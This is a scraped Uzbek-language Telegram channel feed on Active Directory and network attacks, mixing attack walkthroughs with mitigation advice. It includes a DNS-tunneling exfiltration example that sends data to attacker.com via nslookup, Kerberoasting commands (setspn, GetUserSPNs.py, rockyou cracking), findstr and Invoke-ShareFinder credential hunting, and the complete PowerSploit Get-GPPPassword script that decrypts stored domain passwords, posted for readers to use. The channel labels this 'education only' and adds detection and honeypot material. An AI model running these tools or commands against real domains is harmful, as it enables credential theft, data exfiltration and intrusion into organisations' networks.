Cisco and Server | AI
2.53K subscribers
1.47K photos
322 videos
204 files
932 links
Tarmoq administratorligi (Cisco) va Tizim administratorligi (Server)ni biz bilan o'rganing.
Bularning hammasi @cisco_server kanalida...
Adminlar bilan bog'lanish uchun 👉
Serverlar bo'yicha: @uzbekiston_erkatoyi
Cisco bo'yicha: @ciscoucell va @Dream_0044
Download Telegram
🔐 Hujum senariysi: DNS tunneling orqali ma’lumot o‘g‘irlash
🧩 1-bosqich: Tashqi DNS server tayyorlash
Hujumchi o‘zining boshqaruvidagi domenni sotib oladi:

📌 Masalan: attacker.com

So‘ngra, ns1.attacker.com nomli custom DNS server yaratadi (Iodine, dnscat2, OzymanDNS, yoki custom Python skript orqali).

🧠 2-bosqich: Ichki tarmoqdagi qurilmaga zararli dastur joylash
Hujumchi phishing orqali yoki ekspluatatsiya orqali ichki qurilmaga quyidagi vazifani bajaradigan payload joylaydi:

Ma’lumotlarni bo‘laklab (chunk) DNS query’lar ichiga joylaydi.

Masalan: bWFsd2FyZGV4Zmls==.exfil.attacker.com

Bu Base64 bo‘lib, DNS so‘rov subdomain orqali tashqariga yuboriladi.

🌐 3-bosqich: DNS so‘rovlari orqali ma’lumotni yuborish
Zararli dastur nslookup, dig, yoki maxsus kutubxonalar yordamida DNS so‘rov yuboradi:

bash
Copy
Edit
nslookup bWFsZGF0YQ.attacker.com
Ichki DNS forwarder bu so‘rovni internetga uzatadi va u hujumchining DNS serveriga keladi.

✅ Natija: Hujumchi subdomain nomi orqali ma’lumotni DNS orqali oladi, firewalllar esa buni oddiy DNS trafigi deb o‘ylaydi.

💻 4-bosqich: Ma’lumot yig‘ish yoki shell olish
DNS tunneling faqat exfiltration uchun emas, balki teskari aloqa (C2 — Command & Control) uchun ham ishlatiladi. Masalan:

DNS orqali buyruq yuboriladi: cmd.bWQ=.attacker.com

Ichki qurilma uni qabul qilib bajaradi.

Natijani yana subdomain orqali qaytaradi.

🔍 Misol: dnscat2 vositasi
Server: Hujumchining tashqi attacker.com domenida dnscat2-server

Client: Ichki tizimda dnscat2-client

Kanal orqali shell ochiladi: hujumchi ichki tizimga DNS orqali buyruqlar yuboradi va natijani oladi.

🛡 Qarshi choralar (MITIGATIONS)
Choralar Tavsifi
🔒 DNS filtering DNS so‘rov uzunligi, shubhali subdomainlar bo‘yicha filtrlash
📊 SIEM orqali monitoring Uzun, kodlangan yoki tez-tez so‘raladigan DNS nomlarni aniqlash
🚫 DNS tunneling detection tools Zeek (Bro), Splunk, Suricata, Wazuh orqali anomaliyalarni topish
🔐 DNS-over-HTTPS bloklash DNS so‘rovlari VPN yoki HTTPS ichida ketayotganini aniqlash

🧠 Xulosa:
DNS tunneling — ko‘p hollarda firewall va DLP tizimlarini aylanib o‘tish uchun ishlatiladi. Odatda u:

Data exfiltration (ma’lumot o‘g‘irlash)

Command & Control

Bypass detection

uchun xizmat qiladi.

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
⚡1
Kerberoasting — bu Windows Active Directory (AD) muhitida ishlatiladigan hujum usuli bo‘lib, u orqali hujumchi xizmat (service) hisoblariga tegishli Kerberos chiptalarini (ticket) olib, offline tarzda parolni buzishga (crack) urinadi.

Bu hujum Kerberos autentifikatsiya protokolining xususiyatlaridan foydalanadi.

🔍 Qanday ishlaydi? (Bosqichma-bosqich)
1. Hujumchi tarmoqga kiradi
Hujumchi AD domeniga oddiy foydalanuvchi sifatida tizimga kirgan bo‘ladi (ya’ni ichki hujum).

2. SPN (Service Principal Name) bilan hisoblarni aniqlaydi
setspn -T domain.local -Q */* orqali xizmatlar (service accounts) ro‘yxatini oladi.

Bu hisoblar odatda parollarini almashtirmay ishlatiladigan xizmat hisoblari bo‘ladi.

3. Kerberos’dan TGS chiptani so‘raydi
Request TGS (Ticket Granting Service) orqali xizmatga mos chipta so‘raladi.

Bu chipta xizmat hisobining paroli asosida shifrlangan bo‘ladi.

4. Chipta lokalga saqlanadi va offline “crack” qilinadi
Chiptani hash sifatida saqlaydi (.kirbi fayl bo‘lishi mumkin).

Keyin Hashcat, John the Ripper kabi vositalar orqali parolni bruteforce qiladi.

🧠 Nega ishlaydi?
Kerberos’da TGS chiptalari xizmat hisobining NTLM parol hash'i bilan shifrlanadi.
Agar bu hisob paroli kuchsiz bo‘lsa (masalan: Welcome123!), hujumchi bu hashni offline tarzda tezda buzib olish imkoniga ega bo‘ladi.

🛠 Hujumda ishlatiladigan vositalar:
Rubeus (PowerShell)

Impacket (Python)

hashcat (crack uchun)

GetUserSPNs.py (Impacket tarkibida bo‘ladi)

bash
Copy
Edit
GetUserSPNs.py DOMAIN/username:password -dc-ip 192.168.1.1
🎯 Nima uchun xavfli?
Hujum aniqlanishi qiyin, chunki foydalanuvchi o‘ziga chipta olgani kabi ko‘rinadi.

Parollar offline tarzda buziladi — ya’ni tarmoqdan uzilgan holda.

Ko‘plab tashkilotlarda xizmat hisoblarida kuchsiz parollar bo‘ladi va ular yillar davomida o‘zgartirilmaydi.

🛡 Qarshi himoya choralar
✅ Himoya strategiyalari:
Choralar Tavsif
🔑 Xizmat hisoblari uchun kuchli parollar 20+ belgili, murakkab
🔄 Parollarni davriy o‘zgartirish Har 90 kunda kamida
👤 AES-only Kerberos chiptalar RC4’dan AES256’ga o‘tish
🔍 Kerberos TGS monitoring SIEM’da g‘ayrioddiy TGS so‘rovlar
❌ SPN’li keraksiz hisoblarni o‘chirish Faol bo‘lmagan SPN’lar

🧪 Real hayotdagi misol
Masalan, tashkilotda svc_sql degan xizmat hisobi bo‘lsa, hujumchi:

GetUserSPNs.py orqali SPN’larni topadi.

svc_sql'ga TGS so‘raydi.

Chiptani olib hashcat bilan buzadi.

Parol Sql2023! bo‘lsa, tezda ochiladi.

Endi u bu hisob bilan boshqa serverlarga RDP, PowerShell, SQL orqali kira oladi.

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
👍2
Kerberos — bu tarmoq orqali xavfsiz autentifikatsiya qilish uchun ishlatiladigan protokol, u biletlarga (ticket) asoslangan va foydalanuvchi parolini tarmoq orqali yubormasdan tizimga kirishni ta’minlaydi.

✈️ Hayotiy misol: Aeroport orqali uchish (Kerberos modeli)
🧍‍♂️ 1. Siz aeroportga kirdingiz – (Login bosqichi)
Siz o‘zingizni tanishtirasiz – pasportingizni ko‘rsatasiz. Bu:

Sizning foydalanuvchi nomingiz va parolingiz

Aeroport xavfsizlik xodimi esa – Authentication Server (AS)

➡️ Agar sizning ma’lumotlaringiz to‘g‘ri bo‘lsa, sizga boarding pass (TGT) beriladi.

🛂 2. Endi siz darvozaga borasiz – (Xizmat so‘rovi)
Sizga endi xizmat kerak – masalan, uchish darvozasiga kirish.

Siz boarding pass (TGT) ni ko‘rsatib, uchish darvozasi chipta (TGS) so‘raysiz.

Bu bosqichda:

Siz — foydalanuvchi

Darvoza xodimi — Ticket Granting Service (TGS)

Uchish — bu xizmat (masalan, SQL Server)

➡️ Sizga uchish uchun maxsus ruxsatnoma (TGS chipta) beriladi.

🛫 3. Siz xizmatga kiryapsiz – (Xizmatga ulanish)
Endi siz darvoza oldida turibsiz. Siz ruxsatnomani (TGS) ko‘rsatasiz va:

Agar hammasi to‘g‘ri bo‘lsa – sizni samolyotga (xizmatga) o‘tkazishadi.

Bu yerda xizmat — masalan, Web server, SQL, file server bo‘lishi mumkin.

🧠 Yodda tutish kerak bo‘lganlar:
Hayotiy misol Kerberosdagi mos narsa
Pasport ko‘rsatish Foydalanuvchi login + parol
Boarding pass TGT (Ticket Granting Ticket)
Darvoza ruxsatnomasi TGS (xizmatga chipta)
Samolyotga o‘tish Xizmatga autentifikatsiyadan o‘tish
Aeroport xavfsizligi KDC (Kerberos serveri)

🔐 Nega bu xavfsiz?
Siz parolni hech qayerda ochiq ko‘rsatmaysiz.

Faqat sizga mos chiptalar bilan tizimga kirasiz.

Har bir chipta vaqt bilan cheklangan – bu esa xavfsizlikni oshiradi.

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
Kerberos bo'yicha qisqacha.

Hullas

1. Klient ASdan haqiqiyligini tekshirish uchun encrypt ko'rinishida request jo'natadi. Ichida Username va password bo'ladi.

2.AS da username va passwordning hashi saqlanadi.
Clientga TGT jo'natadi.

3. Uni qabul qilgan klient TGSdan ma'lum bir xizmatga ruhsat olish uchun so'rov jo'natadi.

TGT — siz kimligingizni tasdiqlovchi narsa
TGS — qaysi xizmatga kirishga haqligingizni tasdiqlovchi narsa.

TGTdan TGSga SPN orqali jo'natiladi.

TGS ni olgandan keyin mahsus xizmatlarga o'sha parolni heshi orqali kirish imkoni paydo bo'ladi.
❤1🔥1
Qanday qilib HR xodimlari sizni suhbatga chaqirishga "majbur qilish" mumkinligni bilasizmi?

Umringizda hech bo'lmasa bitta bo'lsa ham , Resume to'ldirgan bo'lsangiz, albatta bu postni o'qib, qilgan xatolaringizni bilib oling.

O'zbekona Cisco biz sizning ehtiyojingizni qiziqishga aylantiramiz.
@uzbekona_cisco
@cisco_server
🔥2❤1👏1
Qanday qilib kerberoasting qilamiz?

1. Windowsdan Rubeus orqali SPNlarni yuklab olamiz biror nom ostida.
2. U SPNni olib linuxda oldindan yuklab olgan rockyou parollarimiz orqali SPN parolini brute force qilamiz.
3. Va jarayon tugagandan keyin, xosil bo'lgan fayl ichidan bizga kerakli user va parol bo'ladi.

Mana shunaqa ko'rinishda tarmog'imizdagi AD userlarining login parolini topib ularning nomidan ish qilishimiz mumkin.

Bu post faqat o'qib o'rganish uchun yozildi, Education purpose only!!!

@uzbekona_cisco
@cisco_server
❤1
🛡 Active Directory'da GPP orqali parolni olish — real xavf!

💡 GPP (Group Policy Preferences) — bu Windows Server’da foydalanuvchilar, xizmatlar va ish jadvalini avtomatlashtirish uchun ishlatiladigan imkoniyat. Lekin… bu imkoniyat orqali parollarni XML faylda shifrlab saqlash mumkin.

📁 Barcha GPP fayllari SYSVOL papkasida saqlanadi:

\\DOMAIN\SYSVOL\DOMAIN\Policies\
😱 Muammo shundaki:

XML fayllarda saqlanadigan parollar AES bilan shifrlangan bo‘lsa-da,

AES kaliti ommaga oshkor bo‘lgan (Microsoft o‘zi nashr qilgan!),

Har qanday "Authenticated User" bu fayllarni erkin o‘qiy oladi.

🔍 Pentester yoki hujumchi bu faylni topadi:


Groups.xml
🔓 So‘ng Get-GPPPassword.ps1 kabi skript orqali shifrlangan parolni ochadi.

📦 Natijada: Domain foydalanuvchisi yoki admin paroli ochiladi.

🔧 Qachon ishlatiladi?
Internal pentest jarayonida

AD tarmog‘ida foydalanuvchi huquqida bo‘lgan kishi privesc qilishda

Lateral movement oldidan maqsadli hisobga kirish uchun

🛡 Himoyalanish:
SYSVOL ichida Groups.xml borligini doimiy monitoring qiling.

GPP orqali parol saqlamang — bu usul deprecated hisoblanadi.

Authenticated Users huquqlarini ko‘rib chiqing.

Yetarlicha Reaksiya komment bo'lsa va faqat ta’limiy maqsadlarda qo‘llanilsa GET-GPPPasword.ps1 skriptini tahsab beraman.

Reaksiyalaringizni kutamiz.

@cisco_server
@uzbekona_cisco
👍11❤2
Mana o'sha vada qilingan Skript

Mazkur kontent faqat ta’limiy maqsadlarda qo‘llani uchun va biz hech qanday noqonuniy ish uchun javobgarlikni o'z bo'ynimizga olmaymiz.

@cisco_server
@uzbekona_cisco biz bilan qoling
function Get-GPPPassword {
<#
.SYNOPSIS

Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.

.PARAMETER Server

Specify the domain controller to search for.
Default's to the users current domain

.PARAMETER SearchForest

Map all reaschable trusts and search all reachable SYSVOLs.

.EXAMPLE

Get-GPPPassword

NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml

NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml

NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml

.EXAMPLE

Get-GPPPassword -Server EXAMPLE.COM

NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml

NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml

.EXAMPLE

Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!

.LINK

http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[CmdletBinding()]
Param (
[ValidateNotNullOrEmpty()]
[String]
$Server = $Env:USERDNSDOMAIN,

[Switch]
$SearchForest
)

# define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)

try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)


switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

# Make sure System.Core is loaded
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}

catch { Write-Error $Error[0] }
}

# helper function to parse fields from xml files
function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
)

try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)

# check for the cpassword field
if ($Xml.innerxml -match 'cpassword') {

$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
$Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
}

if ($_.newName) {
$NewName = $_.newName
}

if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}

try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
}

try {
$NodeName = $_.ParentNode.ParentNode.LocalName
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}

if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
🔥1


$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
}
}
}
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
}

# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)

if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
}

try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}

# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()

# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}

# our domain stack tracker
$Domains = New-Object System.Collections.Stack

try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}

if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)

while($Domains.Count -ne 0) {

$Domain = $Domains.Pop()

# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {

Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"

# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')


try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}

try {
$XMLFiles = @()
$Domains = @()

$AllUsers = $Env:ALLUSERSPROFILE
if (-not $AllUsers) {
$AllUsers = 'C:\ProgramData'
}

# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue

if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}

$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique

ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')

if($DomainXMLFiles) {
$XMLFiles += $DomainXMLFiles
}
}

if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }

Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."

ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}

catch { Write-Error $Error[0] }
}
Kompyuteringizning xavfsizligi faylni ochishga yo'l qo'ymasligi va karantinga tiqishi mumkinligi sababli file shaklida bermadik.

@cisco_server
🤝2🔥1
🔐 Active Directory GPO: Xavf va HoneyPot

Guruh Siyosati Ob'ekti (GPO) — bu Active Directory (AD) da tarmoqni boshqarish va foydalanuvchi parametrlarini belgilash uchun ishlatiladigan muhim vosita. GPOlar orqali tashkilotlar xavfsizlik siyosatlari, dasturiy ta'minot o'rnatish va tizim sozlamalarini boshqarishi mumkin.

⚠️ Hujumlar va Xavflar:
GPOlar hujumchilarning maqsadi bo'lishi mumkin. Ular GPOlarni o'zgartirish orqali:

Ruxsatlarni kengaytirish: O'zlariga yoki boshqa foydalanuvchilarga yuqori ruxsatlar berish.
Avtomatik skriptlar qo'shish: Zararli dasturlarni tarmoqda tarqatish.
Tizim sozlamalarini o'zgartirish: Tizimni zaiflashtirish va xavfsizligini pasaytirish.
🌐 HoneyPot Texnologiyasi:
HoneyPot — bu tahdidlarni jalb qilish va kuzatish uchun yaratilgan tizim. GPO o'zgartirilganda, HoneyPot orqali tahdidlarni aniqlash mumkin. Agar GPO o'zgartirilsa, tizim avtomatik ravishda buni qayd etadi va zarur choralarni ko'radi.

📜 Skript Misoli:
Quyidagi PowerShell skripti GPO o'zgartirilganda avtomatik ravishda foydalanuvchilar hisoblarini boshqaradi:

# So'nggi 15 daqiqadagi o'zgarishlarni aniqlash
$TimeSpan = (Get-Date) - (New-TimeSpan -Minutes 15)

# O'zgarishlarni tekshirish
$Logs = Get-WinEvent -FilterHashtable @{LogName='Security';id=5136;StartTime=$TimeSpan} -ErrorAction SilentlyContinue |`
Where-Object {$_.Properties[8].Value -match "CN={73C66DBB-81DA-44D8-BDEF-20BA2C27056D},CN=POLICIES,CN=SYSTEM,DC=EAGLE,DC=LOCAL"}

if($Logs){
$emailBody = "Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' o'zgartirildi`r`n"
$disabledUsers = @()
ForEach($log in $logs){
If(((Get-ADUser -identity $log.Properties[3].Value).Enabled -eq $true) -and ($log.Properties[3].Value -notin $disabledUsers)){
Disable-ADAccount -Identity $log.Properties[3].Value
$emailBody = $emailBody + "O'chirilgan foydalanuvchi: " + $log.Properties[3].Value + "`r`n"
$disabledUsers += $log.Properties[3].Value
}
}
# Email orqali xabar yuborish
# Send-MailMessage
$emailBody
}

📩 Xabardorlik:
Ushbu skript GPO o'zgartirilganda, faol foydalanuvchilarni avtomatik ravishda o'chiradi va bu haqda xabar tayyorlaydi. Bu xavfsizlikni ta'minlashda muhim vosita.

Tarmoqingizni himoya qilishda ushbu usullardan foydalaning.

@cisco_server
@uzbekona_cisco
🔥1
🔐 Active Directory-da Parollar Qanday Oshkor Bo‘lishi va Himoya Choralari

Active Directory muhitida parollar va hisob ma’lumotlari ko‘pincha tarmoq ulashmalarida (skriptlar, config fayllar, .bat/.ps1) yoki foydalanuvchilar kompyuterlaridagi hujjatlarda (Word/Excel) saqlanib qoladi. Bularni topish va himoya qilish usullarini o‘rganamiz.

🎯 1. Qanday Qilib Parollar Topiladi?
✅ Avtomatik vositalar:

SauronEye – Fayllardan parol, pass, pw kabi kalit so‘zlarni qidiradi.

PowerView (Invoke-ShareFinder) – Domendagi barcha ulashmalarni skanerlaydi.

✅ Qo‘lda qidirish (Living Off the Land):

cmd
findstr /s /i /m "pass|pw|eagle" *.bat *.ps1 *.conf *.config
/s – Barcha ichki papkalarni qidiradi.

/i – Katta-kichik harflarga ahamiyat bermaydi.

Qidirish uchun kalit so‘zlar: pass, pw, secret, domen nomi (eagle).

⚠️ Eslatma: Windows Defender findstr ni shubhali harakat sifatida aniqlashi mumkin!

🚨 2. Topilgan Parollardan Foydalanish
Ko‘pincha skriptlarda quyidagi formatda parollar bo‘ladi:

cmd
runas /user:DOMAIN\Admin Parol123
net use * \\server\share /user:DOMAIN\User Parol456
Agar ulashmada admin yoki domain admins hisobi paroli topilsa – bu DOMENGA TO‘LIQ KIRISH IMKONI beradi!

🛡 3. Himoya Choralari
🔹 1. Ulashmalarni qulflash:

Har bir papkaga faqat kerakli foydalanuvchilar uchun ruxsat berish.

Everyone yoki Domain Users guruhiga keraksiz ruxsat bermaslik.

🔹 2. Muntazam tekshiruvlar:

Haftasiga 1 marta findstr yoki SauronEye bilan skanerlash.

Yangi ochiq ulashmalarni avtomatik monitoring qilish.

🔹 3. Monitoring va Aniqlash:

Event ID 4624/4625 (Login/logoff) va 4708 (Kerberos TGT so‘rovi) ni kuzatish.

Agar Administrator hisobi g‘ayritabiiy vaqtda kirsa – darhol ogohlantirish.

📌 Xulosa:
🔻 Zaiflik: Parollar tarmoq ulashmalarida, skriptlarda yoki oddiy fayllarda saqlanishi mumkin.
🔻 Hujum: findstr, PowerView yoki SauronEye bilan topish mumkin.
🔻 Himoya: Ruxsatlarni qattiq nazorat qilish + muntazam skanerlash + monitoring.

📢 Ehtiyot bo‘ling! Birorta ochiq parol butun tizimning xavfsizligini putur yetkazishi mumkin.

@cisco_server
@uzbekona_cisco
❤4
🛑 AD tizimidagi eng ko‘p uchraydigan xatolik: Share ichida parol qoldirish

🔐 Ko‘pchilik ITchilar serverda fayl ulashish (network share) orqali ishlaydi. Lekin eng ko‘p uchraydigan xatolik — skript yoki konfiguratsiya fayllarda parollarni ochiqcha yozib qo‘yish.

---

## 🧨 Qanday holatlar xavfli?

🚫 Share fayllari quyidagicha noto‘g‘ri ochiq bo‘lishi mumkin:

1. "Users" yoki "Everyone" guruhlariga read huquqi berib yuboriladi.
2. Admin test uchun C:\scripts fayliga parol bilan skript joylashtiradi, lekin bu fayl share qilib qo‘yilgan bo‘ladi.
3. Faylni ulashib, keyin uni yopishni unutadi.
4. Foyl nomi oxirida $ belgisi (dev$) bo‘lsa ham, bu yashirin degani emas. Tajribali foydalanuvchi baribir uni ko‘ra oladi.

---

## 🔎 Hujum qanday ishlaydi?

1. Tarmoqdagi barcha umumiy papkalarni topish:

Invoke-ShareFinder -domain yourdomain.local -ExcludeStandard -CheckShareAccess


2. Share papkalarga kirib, pass, pw, yoki domen nomi (eagle, corp, htb) so‘zlarini qidirish:

findstr /s /i /m "pass" *.ps1
findstr /s /i /m "pw" *.config
findstr /s /i /m "eagle" *.bat


3. Misol:

net use E: \\DC1\sharedScripts /user:eagle\Administrator Slavi123


👉 Bu parol ochiq ko‘rinmoqda!

---

## 🛡 Qanday oldini olish mumkin?

✅ Har bir share papkani ruxsatlari bilan tekshiring
✅ Fayllarda hech qachon parolni yozib qoldirmang
✅ Maxsus skriptlar uchun service account oching
✅ Har haftalik scan yoki audit o‘tkazing
✅ $ bilan tugagan share’lar ham yashirin emas!

---

## 📈 Qanday aniqlanadi (deteksiya)?

SIEM yoki Event Viewer orqali quyidagi loglar aniqlanadi:

* 4624 – Muvaffaqiyatli login
* 4625 – Login muvaffaqiyatsiz (parol noto‘g‘ri)
* 4768 – Kerberos TGT so‘raldi

🕵️ Misol:

Event 4625: Login failed for user svc-iis from IP 172.16.18.20


---

## 🎯 Honeypot usuli bilan himoya

* Soxta service account (svc-mssql) yarating
* Unga noto‘g‘ri parol yozilgan skript qoldiring
* Agar unga nisbatan login urinish bo‘lsa (4625/4771/4776) — ogohlantirish bering

---

📌 Xulosa:

> Bugungi kunda hujumchilar parollarni brute-force bilan emas, aynan siz qoldirgan fayllardan topyapti! Share ichidagi skriptlar va fayllarni tekshiring, parol yozmang, audit yuriting!
👍2❤1😍1
This media is not supported in your browser
VIEW IN TELEGRAM
Butun dunyo endi 6-augustni kutishni boshladi.
Siz hammi?

@cisco_server
